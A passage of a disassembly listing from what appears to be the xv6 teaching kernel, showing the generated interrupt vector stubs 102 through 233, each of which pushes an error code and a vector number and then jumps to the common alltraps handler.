ff jmp 801072d0 <alltraps> 80107d44 <vector102>: .globl vector102 vector102: pushl $0 80107d44: 6a 00 push $0x0 pushl $102 80107d46: 6a 66 push $0x66 jmp alltraps 80107d48: e9 83 f5 ff ff jmp 801072d0 <alltraps> 80107d4d <vector103>: .globl vector103 vector103: pushl $0 80107d4d: 6a 00 push $0x0 pushl $103 80107d4f: 6a 67 push $0x67 jmp alltraps 80107d51: e9 7a f5 ff ff jmp 801072d0 <alltraps> 80107d56 <vector104>: .globl vector104 vector104: pushl $0 80107d56: 6a 00 push $0x0 pushl $104 80107d58: 6a 68 push $0x68 jmp alltraps 80107d5a: e9 71 f5 ff ff jmp 801072d0 <alltraps> 80107d5f <vector105>: .globl vector105 vector105: pushl $0 80107d5f: 6a 00 push $0x0 pushl $105 80107d61: 6a 69 push $0x69 jmp alltraps 80107d63: e9 68 f5 ff ff jmp 801072d0 <alltraps> 80107d68 <vector106>: .globl vector106 vector106: pushl $0 80107d68: 6a 00 push $0x0 pushl $106 80107d6a: 6a 6a push $0x6a jmp alltraps 80107d6c: e9 5f f5 ff ff jmp 801072d0 <alltraps> 80107d71 <vector107>: .globl vector107 vector107: pushl $0 80107d71: 6a 00 push $0x0 pushl $107 80107d73: 6a 6b push $0x6b jmp alltraps 80107d75: e9 56 f5 ff ff jmp 801072d0 <alltraps> 80107d7a <vector108>: .globl vector108 vector108: pushl $0 80107d7a: 6a 00 push $0x0 pushl $108 80107d7c: 6a 6c push $0x6c jmp alltraps 80107d7e: e9 4d f5 ff ff jmp 801072d0 <alltraps> 80107d83 <vector109>: .globl vector109 vector109: pushl $0 80107d83: 6a 00 push $0x0 pushl $109 80107d85: 6a 6d push $0x6d jmp alltraps 80107d87: e9 44 f5 ff ff jmp 801072d0 <alltraps> 80107d8c <vector110>: .globl vector110 vector110: pushl $0 80107d8c: 6a 00 push $0x0 pushl $110 80107d8e: 6a 6e push $0x6e jmp alltraps 80107d90: e9 3b f5 ff ff jmp 801072d0 <alltraps> 80107d95 <vector111>: .globl vector111 vector111: pushl $0 80107d95: 6a 00 push $0x0 pushl $111 80107d97: 6a 6f push $0x6f jmp alltraps 80107d99: e9 32 f5 ff ff jmp 801072d0 <alltraps> 80107d9e <vector112>: .globl vector112 vector112: pushl $0 80107d9e: 6a 00 push $0x0 pushl $112 80107da0: 6a 70 push $0x70 jmp alltraps 80107da2: e9 29 f5 ff ff jmp 801072d0 <alltraps> 80107da7 <vector113>: .globl vector113 vector113: pushl $0 80107da7: 6a 00 push $0x0 pushl $113 80107da9: 6a 71 push $0x71 jmp alltraps 80107dab: e9 20 f5 ff ff jmp 801072d0 <alltraps> 80107db0 <vector114>: .globl vector114 vector114: pushl $0 80107db0: 6a 00 push $0x0 pushl $114 80107db2: 6a 72 push $0x72 jmp alltraps 80107db4: e9 17 f5 ff ff jmp 801072d0 <alltraps> 80107db9 <vector115>: .globl vector115 vector115: pushl $0 80107db9: 6a 00 push $0x0 pushl $115 80107dbb: 6a 73 push $0x73 jmp alltraps 80107dbd: e9 0e f5 ff ff jmp 801072d0 <alltraps> 80107dc2 <vector116>: .globl vector116 vector116: pushl $0 80107dc2: 6a 00 push $0x0 pushl $116 80107dc4: 6a 74 push $0x74 jmp alltraps 80107dc6: e9 05 f5 ff ff jmp 801072d0 <alltraps> 80107dcb <vector117>: .globl vector117 vector117: pushl $0 80107dcb: 6a 00 push $0x0 pushl $117 80107dcd: 6a 75 push $0x75 jmp alltraps 80107dcf: e9 fc f4 ff ff jmp 801072d0 <alltraps> 80107dd4 <vector118>: .globl vector118 vector118: pushl $0 80107dd4: 6a 00 push $0x0 pushl $118 80107dd6: 6a 76 push $0x76 jmp alltraps 80107dd8: e9 f3 f4 ff ff jmp 801072d0 <alltraps> 80107ddd <vector119>: .globl vector119 vector119: pushl $0 80107ddd: 6a 00 push $0x0 pushl $119 80107ddf: 6a 77 push $0x77 jmp alltraps 80107de1: e9 ea f4 ff ff jmp 801072d0 <alltraps> 80107de6 <vector120>: .globl vector120 vector120: pushl $0 80107de6: 6a 00 push $0x0 pushl $120 80107de8: 6a 78 push $0x78 jmp alltraps 80107dea: e9 e1 f4 ff ff jmp 801072d0 <alltraps> 80107def <vector121>: .globl vector121 vector121: pushl $0 80107def: 6a 00 push $0x0 pushl $121 80107df1: 6a 79 push $0x79 jmp alltraps 80107df3: e9 d8 f4 ff ff jmp 801072d0 <alltraps> 80107df8 <vector122>: .globl vector122 vector122: pushl $0 80107df8: 6a 00 push $0x0 pushl $122 80107dfa: 6a 7a push $0x7a jmp alltraps 80107dfc: e9 cf f4 ff ff jmp 801072d0 <alltraps> 80107e01 <vector123>: .globl vector123 vector123: pushl $0 80107e01: 6a 00 push $0x0 pushl $123 80107e03: 6a 7b push $0x7b jmp alltraps 80107e05: e9 c6 f4 ff ff jmp 801072d0 <alltraps> 80107e0a <vector124>: .globl vector124 vector124: pushl $0 80107e0a: 6a 00 push $0x0 pushl $124 80107e0c: 6a 7c push $0x7c jmp alltraps 80107e0e: e9 bd f4 ff ff jmp 801072d0 <alltraps> 80107e13 <vector125>: .globl vector125 vector125: pushl $0 80107e13: 6a 00 push $0x0 pushl $125 80107e15: 6a 7d push $0x7d jmp alltraps 80107e17: e9 b4 f4 ff ff jmp 801072d0 <alltraps> 80107e1c <vector126>: .globl vector126 vector126: pushl $0 80107e1c: 6a 00 push $0x0 pushl $126 80107e1e: 6a 7e push $0x7e jmp alltraps 80107e20: e9 ab f4 ff ff jmp 801072d0 <alltraps> 80107e25 <vector127>: .globl vector127 vector127: pushl $0 80107e25: 6a 00 push $0x0 pushl $127 80107e27: 6a 7f push $0x7f jmp alltraps 80107e29: e9 a2 f4 ff ff jmp 801072d0 <alltraps> 80107e2e <vector128>: .globl vector128 vector128: pushl $0 80107e2e: 6a 00 push $0x0 pushl $128 80107e30: 68 80 00 00 00 push $0x80 jmp alltraps 80107e35: e9 96 f4 ff ff jmp 801072d0 <alltraps> 80107e3a <vector129>: .globl vector129 vector129: pushl $0 80107e3a: 6a 00 push $0x0 pushl $129 80107e3c: 68 81 00 00 00 push $0x81 jmp alltraps 80107e41: e9 8a f4 ff ff jmp 801072d0 <alltraps> 80107e46 <vector130>: .globl vector130 vector130: pushl $0 80107e46: 6a 00 push $0x0 pushl $130 80107e48: 68 82 00 00 00 push $0x82 jmp alltraps 80107e4d: e9 7e f4 ff ff jmp 801072d0 <alltraps> 80107e52 <vector131>: .globl vector131 vector131: pushl $0 80107e52: 6a 00 push $0x0 pushl $131 80107e54: 68 83 00 00 00 push $0x83 jmp alltraps 80107e59: e9 72 f4 ff ff jmp 801072d0 <alltraps> 80107e5e <vector132>: .globl vector132 vector132: pushl $0 80107e5e: 6a 00 push $0x0 pushl $132 80107e60: 68 84 00 00 00 push $0x84 jmp alltraps 80107e65: e9 66 f4 ff ff jmp 801072d0 <alltraps> 80107e6a <vector133>: .globl vector133 vector133: pushl $0 80107e6a: 6a 00 push $0x0 pushl $133 80107e6c: 68 85 00 00 00 push $0x85 jmp alltraps 80107e71: e9 5a f4 ff ff jmp 801072d0 <alltraps> 80107e76 <vector134>: .globl vector134 vector134: pushl $0 80107e76: 6a 00 push $0x0 pushl $134 80107e78: 68 86 00 00 00 push $0x86 jmp alltraps 80107e7d: e9 4e f4 ff ff jmp 801072d0 <alltraps> 80107e82 <vector135>: .globl vector135 vector135: pushl $0 80107e82: 6a 00 push $0x0 pushl $135 80107e84: 68 87 00 00 00 push $0x87 jmp alltraps 80107e89: e9 42 f4 ff ff jmp 801072d0 <alltraps> 80107e8e <vector136>: .globl vector136 vector136: pushl $0 80107e8e: 6a 00 push $0x0 pushl $136 80107e90: 68 88 00 00 00 push $0x88 jmp alltraps 80107e95: e9 36 f4 ff ff jmp 801072d0 <alltraps> 80107e9a <vector137>: .globl vector137 vector137: pushl $0 80107e9a: 6a 00 push $0x0 pushl $137 80107e9c: 68 89 00 00 00 push $0x89 jmp alltraps 80107ea1: e9 2a f4 ff ff jmp 801072d0 <alltraps> 80107ea6 <vector138>: .globl vector138 vector138: pushl $0 80107ea6: 6a 00 push $0x0 pushl $138 80107ea8: 68 8a 00 00 00 push $0x8a jmp alltraps 80107ead: e9 1e f4 ff ff jmp 801072d0 <alltraps> 80107eb2 <vector139>: .globl vector139 vector139: pushl $0 80107eb2: 6a 00 push $0x0 pushl $139 80107eb4: 68 8b 00 00 00 push $0x8b jmp alltraps 80107eb9: e9 12 f4 ff ff jmp 801072d0 <alltraps> 80107ebe <vector140>: .globl vector140 vector140: pushl $0 80107ebe: 6a 00 push $0x0 pushl $140 80107ec0: 68 8c 00 00 00 push $0x8c jmp alltraps 80107ec5: e9 06 f4 ff ff jmp 801072d0 <alltraps> 80107eca <vector141>: .globl vector141 vector141: pushl $0 80107eca: 6a 00 push $0x0 pushl $141 80107ecc: 68 8d 00 00 00 push $0x8d jmp alltraps 80107ed1: e9 fa f3 ff ff jmp 801072d0 <alltraps> 80107ed6 <vector142>: .globl vector142 vector142: pushl $0 80107ed6: 6a 00 push $0x0 pushl $142 80107ed8: 68 8e 00 00 00 push $0x8e jmp alltraps 80107edd: e9 ee f3 ff ff jmp 801072d0 <alltraps> 80107ee2 <vector143>: .globl vector143 vector143: pushl $0 80107ee2: 6a 00 push $0x0 pushl $143 80107ee4: 68 8f 00 00 00 push $0x8f jmp alltraps 80107ee9: e9 e2 f3 ff ff jmp 801072d0 <alltraps> 80107eee <vector144>: .globl vector144 vector144: pushl $0 80107eee: 6a 00 push $0x0 pushl $144 80107ef0: 68 90 00 00 00 push $0x90 jmp alltraps 80107ef5: e9 d6 f3 ff ff jmp 801072d0 <alltraps> 80107efa <vector145>: .globl vector145 vector145: pushl $0 80107efa: 6a 00 push $0x0 pushl $145 80107efc: 68 91 00 00 00 push $0x91 jmp alltraps 80107f01: e9 ca f3 ff ff jmp 801072d0 <alltraps> 80107f06 <vector146>: .globl vector146 vector146: pushl $0 80107f06: 6a 00 push $0x0 pushl $146 80107f08: 68 92 00 00 00 push $0x92 jmp alltraps 80107f0d: e9 be f3 ff ff jmp 801072d0 <alltraps> 80107f12 <vector147>: .globl vector147 vector147: pushl $0 80107f12: 6a 00 push $0x0 pushl $147 80107f14: 68 93 00 00 00 push $0x93 jmp alltraps 80107f19: e9 b2 f3 ff ff jmp 801072d0 <alltraps> 80107f1e <vector148>: .globl vector148 vector148: pushl $0 80107f1e: 6a 00 push $0x0 pushl $148 80107f20: 68 94 00 00 00 push $0x94 jmp alltraps 80107f25: e9 a6 f3 ff ff jmp 801072d0 <alltraps> 80107f2a <vector149>: .globl vector149 vector149: pushl $0 80107f2a: 6a 00 push $0x0 pushl $149 80107f2c: 68 95 00 00 00 push $0x95 jmp alltraps 80107f31: e9 9a f3 ff ff jmp 801072d0 <alltraps> 80107f36 <vector150>: .globl vector150 vector150: pushl $0 80107f36: 6a 00 push $0x0 pushl $150 80107f38: 68 96 00 00 00 push $0x96 jmp alltraps 80107f3d: e9 8e f3 ff ff jmp 801072d0 <alltraps> 80107f42 <vector151>: .globl vector151 vector151: pushl $0 80107f42: 6a 00 push $0x0 pushl $151 80107f44: 68 97 00 00 00 push $0x97 jmp alltraps 80107f49: e9 82 f3 ff ff jmp 801072d0 <alltraps> 80107f4e <vector152>: .globl vector152 vector152: pushl $0 80107f4e: 6a 00 push $0x0 pushl $152 80107f50: 68 98 00 00 00 push $0x98 jmp alltraps 80107f55: e9 76 f3 ff ff jmp 801072d0 <alltraps> 80107f5a <vector153>: .globl vector153 vector153: pushl $0 80107f5a: 6a 00 push $0x0 pushl $153 80107f5c: 68 99 00 00 00 push $0x99 jmp alltraps 80107f61: e9 6a f3 ff ff jmp 801072d0 <alltraps> 80107f66 <vector154>: .globl vector154 vector154: pushl $0 80107f66: 6a 00 push $0x0 pushl $154 80107f68: 68 9a 00 00 00 push $0x9a jmp alltraps 80107f6d: e9 5e f3 ff ff jmp 801072d0 <alltraps> 80107f72 <vector155>: .globl vector155 vector155: pushl $0 80107f72: 6a 00 push $0x0 pushl $155 80107f74: 68 9b 00 00 00 push $0x9b jmp alltraps 80107f79: e9 52 f3 ff ff jmp 801072d0 <alltraps> 80107f7e <vector156>: .globl vector156 vector156: pushl $0 80107f7e: 6a 00 push $0x0 pushl $156 80107f80: 68 9c 00 00 00 push $0x9c jmp alltraps 80107f85: e9 46 f3 ff ff jmp 801072d0 <alltraps> 80107f8a <vector157>: .globl vector157 vector157: pushl $0 80107f8a: 6a 00 push $0x0 pushl $157 80107f8c: 68 9d 00 00 00 push $0x9d jmp alltraps 80107f91: e9 3a f3 ff ff jmp 801072d0 <alltraps> 80107f96 <vector158>: .globl vector158 vector158: pushl $0 80107f96: 6a 00 push $0x0 pushl $158 80107f98: 68 9e 00 00 00 push $0x9e jmp alltraps 80107f9d: e9 2e f3 ff ff jmp 801072d0 <alltraps> 80107fa2 <vector159>: .globl vector159 vector159: pushl $0 80107fa2: 6a 00 push $0x0 pushl $159 80107fa4: 68 9f 00 00 00 push $0x9f jmp alltraps 80107fa9: e9 22 f3 ff ff jmp 801072d0 <alltraps> 80107fae <vector160>: .globl vector160 vector160: pushl $0 80107fae: 6a 00 push $0x0 pushl $160 80107fb0: 68 a0 00 00 00 push $0xa0 jmp alltraps 80107fb5: e9 16 f3 ff ff jmp 801072d0 <alltraps> 80107fba <vector161>: .globl vector161 vector161: pushl $0 80107fba: 6a 00 push $0x0 pushl $161 80107fbc: 68 a1 00 00 00 push $0xa1 jmp alltraps 80107fc1: e9 0a f3 ff ff jmp 801072d0 <alltraps> 80107fc6 <vector162>: .globl vector162 vector162: pushl $0 80107fc6: 6a 00 push $0x0 pushl $162 80107fc8: 68 a2 00 00 00 push $0xa2 jmp alltraps 80107fcd: e9 fe f2 ff ff jmp 801072d0 <alltraps> 80107fd2 <vector163>: .globl vector163 vector163: pushl $0 80107fd2: 6a 00 push $0x0 pushl $163 80107fd4: 68 a3 00 00 00 push $0xa3 jmp alltraps 80107fd9: e9 f2 f2 ff ff jmp 801072d0 <alltraps> 80107fde <vector164>: .globl vector164 vector164: pushl $0 80107fde: 6a 00 push $0x0 pushl $164 80107fe0: 68 a4 00 00 00 push $0xa4 jmp alltraps 80107fe5: e9 e6 f2 ff ff jmp 801072d0 <alltraps> 80107fea <vector165>: .globl vector165 vector165: pushl $0 80107fea: 6a 00 push $0x0 pushl $165 80107fec: 68 a5 00 00 00 push $0xa5 jmp alltraps 80107ff1: e9 da f2 ff ff jmp 801072d0 <alltraps> 80107ff6 <vector166>: .globl vector166 vector166: pushl $0 80107ff6: 6a 00 push $0x0 pushl $166 80107ff8: 68 a6 00 00 00 push $0xa6 jmp alltraps 80107ffd: e9 ce f2 ff ff jmp 801072d0 <alltraps> 80108002 <vector167>: .globl vector167 vector167: pushl $0 80108002: 6a 00 push $0x0 pushl $167 80108004: 68 a7 00 00 00 push $0xa7 jmp alltraps 80108009: e9 c2 f2 ff ff jmp 801072d0 <alltraps> 8010800e <vector168>: .globl vector168 vector168: pushl $0 8010800e: 6a 00 push $0x0 pushl $168 80108010: 68 a8 00 00 00 push $0xa8 jmp alltraps 80108015: e9 b6 f2 ff ff jmp 801072d0 <alltraps> 8010801a <vector169>: .globl vector169 vector169: pushl $0 8010801a: 6a 00 push $0x0 pushl $169 8010801c: 68 a9 00 00 00 push $0xa9 jmp alltraps 80108021: e9 aa f2 ff ff jmp 801072d0 <alltraps> 80108026 <vector170>: .globl vector170 vector170: pushl $0 80108026: 6a 00 push $0x0 pushl $170 80108028: 68 aa 00 00 00 push $0xaa jmp alltraps 8010802d: e9 9e f2 ff ff jmp 801072d0 <alltraps> 80108032 <vector171>: .globl vector171 vector171: pushl $0 80108032: 6a 00 push $0x0 pushl $171 80108034: 68 ab 00 00 00 push $0xab jmp alltraps 80108039: e9 92 f2 ff ff jmp 801072d0 <alltraps> 8010803e <vector172>: .globl vector172 vector172: pushl $0 8010803e: 6a 00 push $0x0 pushl $172 80108040: 68 ac 00 00 00 push $0xac jmp alltraps 80108045: e9 86 f2 ff ff jmp 801072d0 <alltraps> 8010804a <vector173>: .globl vector173 vector173: pushl $0 8010804a: 6a 00 push $0x0 pushl $173 8010804c: 68 ad 00 00 00 push $0xad jmp alltraps 80108051: e9 7a f2 ff ff jmp 801072d0 <alltraps> 80108056 <vector174>: .globl vector174 vector174: pushl $0 80108056: 6a 00 push $0x0 pushl $174 80108058: 68 ae 00 00 00 push $0xae jmp alltraps 8010805d: e9 6e f2 ff ff jmp 801072d0 <alltraps> 80108062 <vector175>: .globl vector175 vector175: pushl $0 80108062: 6a 00 push $0x0 pushl $175 80108064: 68 af 00 00 00 push $0xaf jmp alltraps 80108069: e9 62 f2 ff ff jmp 801072d0 <alltraps> 8010806e <vector176>: .globl vector176 vector176: pushl $0 8010806e: 6a 00 push $0x0 pushl $176 80108070: 68 b0 00 00 00 push $0xb0 jmp alltraps 80108075: e9 56 f2 ff ff jmp 801072d0 <alltraps> 8010807a <vector177>: .globl vector177 vector177: pushl $0 8010807a: 6a 00 push $0x0 pushl $177 8010807c: 68 b1 00 00 00 push $0xb1 jmp alltraps 80108081: e9 4a f2 ff ff jmp 801072d0 <alltraps> 80108086 <vector178>: .globl vector178 vector178: pushl $0 80108086: 6a 00 push $0x0 pushl $178 80108088: 68 b2 00 00 00 push $0xb2 jmp alltraps 8010808d: e9 3e f2 ff ff jmp 801072d0 <alltraps> 80108092 <vector179>: .globl vector179 vector179: pushl $0 80108092: 6a 00 push $0x0 pushl $179 80108094: 68 b3 00 00 00 push $0xb3 jmp alltraps 80108099: e9 32 f2 ff ff jmp 801072d0 <alltraps> 8010809e <vector180>: .globl vector180 vector180: pushl $0 8010809e: 6a 00 push $0x0 pushl $180 801080a0: 68 b4 00 00 00 push $0xb4 jmp alltraps 801080a5: e9 26 f2 ff ff jmp 801072d0 <alltraps> 801080aa <vector181>: .globl vector181 vector181: pushl $0 801080aa: 6a 00 push $0x0 pushl $181 801080ac: 68 b5 00 00 00 push $0xb5 jmp alltraps 801080b1: e9 1a f2 ff ff jmp 801072d0 <alltraps> 801080b6 <vector182>: .globl vector182 vector182: pushl $0 801080b6: 6a 00 push $0x0 pushl $182 801080b8: 68 b6 00 00 00 push $0xb6 jmp alltraps 801080bd: e9 0e f2 ff ff jmp 801072d0 <alltraps> 801080c2 <vector183>: .globl vector183 vector183: pushl $0 801080c2: 6a 00 push $0x0 pushl $183 801080c4: 68 b7 00 00 00 push $0xb7 jmp alltraps 801080c9: e9 02 f2 ff ff jmp 801072d0 <alltraps> 801080ce <vector184>: .globl vector184 vector184: pushl $0 801080ce: 6a 00 push $0x0 pushl $184 801080d0: 68 b8 00 00 00 push $0xb8 jmp alltraps 801080d5: e9 f6 f1 ff ff jmp 801072d0 <alltraps> 801080da <vector185>: .globl vector185 vector185: pushl $0 801080da: 6a 00 push $0x0 pushl $185 801080dc: 68 b9 00 00 00 push $0xb9 jmp alltraps 801080e1: e9 ea f1 ff ff jmp 801072d0 <alltraps> 801080e6 <vector186>: .globl vector186 vector186: pushl $0 801080e6: 6a 00 push $0x0 pushl $186 801080e8: 68 ba 00 00 00 push $0xba jmp alltraps 801080ed: e9 de f1 ff ff jmp 801072d0 <alltraps> 801080f2 <vector187>: .globl vector187 vector187: pushl $0 801080f2: 6a 00 push $0x0 pushl $187 801080f4: 68 bb 00 00 00 push $0xbb jmp alltraps 801080f9: e9 d2 f1 ff ff jmp 801072d0 <alltraps> 801080fe <vector188>: .globl vector188 vector188: pushl $0 801080fe: 6a 00 push $0x0 pushl $188 80108100: 68 bc 00 00 00 push $0xbc jmp alltraps 80108105: e9 c6 f1 ff ff jmp 801072d0 <alltraps> 8010810a <vector189>: .globl vector189 vector189: pushl $0 8010810a: 6a 00 push $0x0 pushl $189 8010810c: 68 bd 00 00 00 push $0xbd jmp alltraps 80108111: e9 ba f1 ff ff jmp 801072d0 <alltraps> 80108116 <vector190>: .globl vector190 vector190: pushl $0 80108116: 6a 00 push $0x0 pushl $190 80108118: 68 be 00 00 00 push $0xbe jmp alltraps 8010811d: e9 ae f1 ff ff jmp 801072d0 <alltraps> 80108122 <vector191>: .globl vector191 vector191: pushl $0 80108122: 6a 00 push $0x0 pushl $191 80108124: 68 bf 00 00 00 push $0xbf jmp alltraps 80108129: e9 a2 f1 ff ff jmp 801072d0 <alltraps> 8010812e <vector192>: .globl vector192 vector192: pushl $0 8010812e: 6a 00 push $0x0 pushl $192 80108130: 68 c0 00 00 00 push $0xc0 jmp alltraps 80108135: e9 96 f1 ff ff jmp 801072d0 <alltraps> 8010813a <vector193>: .globl vector193 vector193: pushl $0 8010813a: 6a 00 push $0x0 pushl $193 8010813c: 68 c1 00 00 00 push $0xc1 jmp alltraps 80108141: e9 8a f1 ff ff jmp 801072d0 <alltraps> 80108146 <vector194>: .globl vector194 vector194: pushl $0 80108146: 6a 00 push $0x0 pushl $194 80108148: 68 c2 00 00 00 push $0xc2 jmp alltraps 8010814d: e9 7e f1 ff ff jmp 801072d0 <alltraps> 80108152 <vector195>: .globl vector195 vector195: pushl $0 80108152: 6a 00 push $0x0 pushl $195 80108154: 68 c3 00 00 00 push $0xc3 jmp alltraps 80108159: e9 72 f1 ff ff jmp 801072d0 <alltraps> 8010815e <vector196>: .globl vector196 vector196: pushl $0 8010815e: 6a 00 push $0x0 pushl $196 80108160: 68 c4 00 00 00 push $0xc4 jmp alltraps 80108165: e9 66 f1 ff ff jmp 801072d0 <alltraps> 8010816a <vector197>: .globl vector197 vector197: pushl $0 8010816a: 6a 00 push $0x0 pushl $197 8010816c: 68 c5 00 00 00 push $0xc5 jmp alltraps 80108171: e9 5a f1 ff ff jmp 801072d0 <alltraps> 80108176 <vector198>: .globl vector198 vector198: pushl $0 80108176: 6a 00 push $0x0 pushl $198 80108178: 68 c6 00 00 00 push $0xc6 jmp alltraps 8010817d: e9 4e f1 ff ff jmp 801072d0 <alltraps> 80108182 <vector199>: .globl vector199 vector199: pushl $0 80108182: 6a 00 push $0x0 pushl $199 80108184: 68 c7 00 00 00 push $0xc7 jmp alltraps 80108189: e9 42 f1 ff ff jmp 801072d0 <alltraps> 8010818e <vector200>: .globl vector200 vector200: pushl $0 8010818e: 6a 00 push $0x0 pushl $200 80108190: 68 c8 00 00 00 push $0xc8 jmp alltraps 80108195: e9 36 f1 ff ff jmp 801072d0 <alltraps> 8010819a <vector201>: .globl vector201 vector201: pushl $0 8010819a: 6a 00 push $0x0 pushl $201 8010819c: 68 c9 00 00 00 push $0xc9 jmp alltraps 801081a1: e9 2a f1 ff ff jmp 801072d0 <alltraps> 801081a6 <vector202>: .globl vector202 vector202: pushl $0 801081a6: 6a 00 push $0x0 pushl $202 801081a8: 68 ca 00 00 00 push $0xca jmp alltraps 801081ad: e9 1e f1 ff ff jmp 801072d0 <alltraps> 801081b2 <vector203>: .globl vector203 vector203: pushl $0 801081b2: 6a 00 push $0x0 pushl $203 801081b4: 68 cb 00 00 00 push $0xcb jmp alltraps 801081b9: e9 12 f1 ff ff jmp 801072d0 <alltraps> 801081be <vector204>: .globl vector204 vector204: pushl $0 801081be: 6a 00 push $0x0 pushl $204 801081c0: 68 cc 00 00 00 push $0xcc jmp alltraps 801081c5: e9 06 f1 ff ff jmp 801072d0 <alltraps> 801081ca <vector205>: .globl vector205 vector205: pushl $0 801081ca: 6a 00 push $0x0 pushl $205 801081cc: 68 cd 00 00 00 push $0xcd jmp alltraps 801081d1: e9 fa f0 ff ff jmp 801072d0 <alltraps> 801081d6 <vector206>: .globl vector206 vector206: pushl $0 801081d6: 6a 00 push $0x0 pushl $206 801081d8: 68 ce 00 00 00 push $0xce jmp alltraps 801081dd: e9 ee f0 ff ff jmp 801072d0 <alltraps> 801081e2 <vector207>: .globl vector207 vector207: pushl $0 801081e2: 6a 00 push $0x0 pushl $207 801081e4: 68 cf 00 00 00 push $0xcf jmp alltraps 801081e9: e9 e2 f0 ff ff jmp 801072d0 <alltraps> 801081ee <vector208>: .globl vector208 vector208: pushl $0 801081ee: 6a 00 push $0x0 pushl $208 801081f0: 68 d0 00 00 00 push $0xd0 jmp alltraps 801081f5: e9 d6 f0 ff ff jmp 801072d0 <alltraps> 801081fa <vector209>: .globl vector209 vector209: pushl $0 801081fa: 6a 00 push $0x0 pushl $209 801081fc: 68 d1 00 00 00 push $0xd1 jmp alltraps 80108201: e9 ca f0 ff ff jmp 801072d0 <alltraps> 80108206 <vector210>: .globl vector210 vector210: pushl $0 80108206: 6a 00 push $0x0 pushl $210 80108208: 68 d2 00 00 00 push $0xd2 jmp alltraps 8010820d: e9 be f0 ff ff jmp 801072d0 <alltraps> 80108212 <vector211>: .globl vector211 vector211: pushl $0 80108212: 6a 00 push $0x0 pushl $211 80108214: 68 d3 00 00 00 push $0xd3 jmp alltraps 80108219: e9 b2 f0 ff ff jmp 801072d0 <alltraps> 8010821e <vector212>: .globl vector212 vector212: pushl $0 8010821e: 6a 00 push $0x0 pushl $212 80108220: 68 d4 00 00 00 push $0xd4 jmp alltraps 80108225: e9 a6 f0 ff ff jmp 801072d0 <alltraps> 8010822a <vector213>: .globl vector213 vector213: pushl $0 8010822a: 6a 00 push $0x0 pushl $213 8010822c: 68 d5 00 00 00 push $0xd5 jmp alltraps 80108231: e9 9a f0 ff ff jmp 801072d0 <alltraps> 80108236 <vector214>: .globl vector214 vector214: pushl $0 80108236: 6a 00 push $0x0 pushl $214 80108238: 68 d6 00 00 00 push $0xd6 jmp alltraps 8010823d: e9 8e f0 ff ff jmp 801072d0 <alltraps> 80108242 <vector215>: .globl vector215 vector215: pushl $0 80108242: 6a 00 push $0x0 pushl $215 80108244: 68 d7 00 00 00 push $0xd7 jmp alltraps 80108249: e9 82 f0 ff ff jmp 801072d0 <alltraps> 8010824e <vector216>: .globl vector216 vector216: pushl $0 8010824e: 6a 00 push $0x0 pushl $216 80108250: 68 d8 00 00 00 push $0xd8 jmp alltraps 80108255: e9 76 f0 ff ff jmp 801072d0 <alltraps> 8010825a <vector217>: .globl vector217 vector217: pushl $0 8010825a: 6a 00 push $0x0 pushl $217 8010825c: 68 d9 00 00 00 push $0xd9 jmp alltraps 80108261: e9 6a f0 ff ff jmp 801072d0 <alltraps> 80108266 <vector218>: .globl vector218 vector218: pushl $0 80108266: 6a 00 push $0x0 pushl $218 80108268: 68 da 00 00 00 push $0xda jmp alltraps 8010826d: e9 5e f0 ff ff jmp 801072d0 <alltraps> 80108272 <vector219>: .globl vector219 vector219: pushl $0 80108272: 6a 00 push $0x0 pushl $219 80108274: 68 db 00 00 00 push $0xdb jmp alltraps 80108279: e9 52 f0 ff ff jmp 801072d0 <alltraps> 8010827e <vector220>: .globl vector220 vector220: pushl $0 8010827e: 6a 00 push $0x0 pushl $220 80108280: 68 dc 00 00 00 push $0xdc jmp alltraps 80108285: e9 46 f0 ff ff jmp 801072d0 <alltraps> 8010828a <vector221>: .globl vector221 vector221: pushl $0 8010828a: 6a 00 push $0x0 pushl $221 8010828c: 68 dd 00 00 00 push $0xdd jmp alltraps 80108291: e9 3a f0 ff ff jmp 801072d0 <alltraps> 80108296 <vector222>: .globl vector222 vector222: pushl $0 80108296: 6a 00 push $0x0 pushl $222 80108298: 68 de 00 00 00 push $0xde jmp alltraps 8010829d: e9 2e f0 ff ff jmp 801072d0 <alltraps> 801082a2 <vector223>: .globl vector223 vector223: pushl $0 801082a2: 6a 00 push $0x0 pushl $223 801082a4: 68 df 00 00 00 push $0xdf jmp alltraps 801082a9: e9 22 f0 ff ff jmp 801072d0 <alltraps> 801082ae <vector224>: .globl vector224 vector224: pushl $0 801082ae: 6a 00 push $0x0 pushl $224 801082b0: 68 e0 00 00 00 push $0xe0 jmp alltraps 801082b5: e9 16 f0 ff ff jmp 801072d0 <alltraps> 801082ba <vector225>: .globl vector225 vector225: pushl $0 801082ba: 6a 00 push $0x0 pushl $225 801082bc: 68 e1 00 00 00 push $0xe1 jmp alltraps 801082c1: e9 0a f0 ff ff jmp 801072d0 <alltraps> 801082c6 <vector226>: .globl vector226 vector226: pushl $0 801082c6: 6a 00 push $0x0 pushl $226 801082c8: 68 e2 00 00 00 push $0xe2 jmp alltraps 801082cd: e9 fe ef ff ff jmp 801072d0 <alltraps> 801082d2 <vector227>: .globl vector227 vector227: pushl $0 801082d2: 6a 00 push $0x0 pushl $227 801082d4: 68 e3 00 00 00 push $0xe3 jmp alltraps 801082d9: e9 f2 ef ff ff jmp 801072d0 <alltraps> 801082de <vector228>: .globl vector228 vector228: pushl $0 801082de: 6a 00 push $0x0 pushl $228 801082e0: 68 e4 00 00 00 push $0xe4 jmp alltraps 801082e5: e9 e6 ef ff ff jmp 801072d0 <alltraps> 801082ea <vector229>: .globl vector229 vector229: pushl $0 801082ea: 6a 00 push $0x0 pushl $229 801082ec: 68 e5 00 00 00 push $0xe5 jmp alltraps 801082f1: e9 da ef ff ff jmp 801072d0 <alltraps> 801082f6 <vector230>: .globl vector230 vector230: pushl $0 801082f6: 6a 00 push $0x0 pushl $230 801082f8: 68 e6 00 00 00 push $0xe6 jmp alltraps 801082fd: e9 ce ef ff ff jmp 801072d0 <alltraps> 80108302 <vector231>: .globl vector231 vector231: pushl $0 80108302: 6a 00 push $0x0 pushl $231 80108304: 68 e7 00 00 00 push $0xe7 jmp alltraps 80108309: e9 c2 ef ff ff jmp 801072d0 <alltraps> 8010830e <vector232>: .globl vector232 vector232: pushl $0 8010830e: 6a 00 push $0x0 pushl $232 80108310: 68 e8 00 00 00 push $0xe8 jmp alltraps 80108315: e9 b6 ef ff ff jmp 801072d0 <alltraps> 8010831a <vector233>: .globl vector233 vector233: pushl $0 8010831a: 6a 00 push $0x0 pushl $233 8010831c: 68 e9 00 00 00 push $0xe9 jmp alltraps 80108321: e9 aa ef ff 